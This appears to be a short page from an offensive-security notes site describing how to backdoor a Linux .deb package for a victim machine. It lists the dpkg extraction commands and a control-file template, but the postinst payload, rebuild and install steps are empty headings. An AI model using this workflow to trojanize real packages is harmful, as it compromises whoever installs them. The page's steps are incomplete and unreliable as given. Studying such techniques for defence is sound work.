๐ŸงBinary Linux Trojan

Linux DEB Package Backdoor

Practical

Infecting a Deb Package

For this you need a .deb file

# Extract the .deb file
dpkg -x <file.deb> <folder>

# Create a new directory called DEBIAN
mkdir <folder>/DEBIAN

# Inside the DEBIAN directory create a file called control and postinst
touch control postinst

Add the below commands inside the control file

Package: <package name>
Version: <version number>
Section: <app category>
Priotiry: <Optional>
Architecture: <architecture> # Architecture should support on the victim machine.
Maintainer: <name>
Description: <app description>

Add the below commands inside the postinst file

Make the postinst file executable and make new package file

Installing the deb package in the victim machine


REFERENCES

Last updated

Was this helpful?